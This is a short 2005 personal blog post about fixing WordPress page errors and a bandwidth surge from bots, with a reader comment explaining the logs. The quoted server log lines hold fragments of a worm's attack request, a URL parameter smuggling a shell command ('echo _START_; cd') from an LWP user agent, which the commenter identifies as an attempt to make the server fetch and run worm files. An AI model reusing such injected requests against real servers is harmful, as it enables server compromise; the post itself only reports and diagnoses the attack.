Stuff be Fixed

Most of the error have been fixed. They were caused by a slight change to the structure of WP files and how I had used includes to pull the variou page parts around content. So I’ve reverted all the pages back so no includes are used, and most of it should work for now. Tomorrow – maybe – I’ll stare a lot at the backups and the current stuff and see what’s what – and hell I may even post any solutions :p

Checking errors logs – due to the above – and I’m seeing that my site traffic has rocketed. I’m used to about 100meg/day. It’s now 4 full days into the year and it’s running at 175meg/day. That’s a HUGE increase, and it’s not real traffic, it’s bots stealing bandwidth.

Logs show lines like this:
[client] client denied by server configuration: /home/--path--/agm/200312.html&rush=echo _START_; cd

.75.177.60 - - [04/Jan/2005:21:32:21 +0000] "GET stats/agm/
73%68%5D%29.%2527'; HTTP/1.1" 403 - "-" "LWP::Simple/5.800"i-

I do have some bandwidth protection inside WP, but that doesn’t help any static pages I’ve got. And no, I haven’t a clue what that stuff is, means or whatever. I do know I keep backups though . IP banning – I feel the urge…. (And every single night, without fail, at midnight UK time I have around 10 minutes of constant connection errors).

Personal Note: Tomorrow I go purple. Ever so slightly.

5 thoughts on “Stuff be Fixed

  1. That “stuff” is an escape-coded redirect attempt. If you translate all the jibberish to the HTML equivalent, you’ll get a URL to a site to download all sorts of nastiness onto your site server. The bot is attempting to trick your site server into downloading and executing worm files. It’s way early in the morning for me to be sure, but it sure looks like a new-gen Santy to me.

    Block by user-agent, anything starting with “LWP” or “lwp” and that will stop the bandwidth thrashing.

Comments are closed.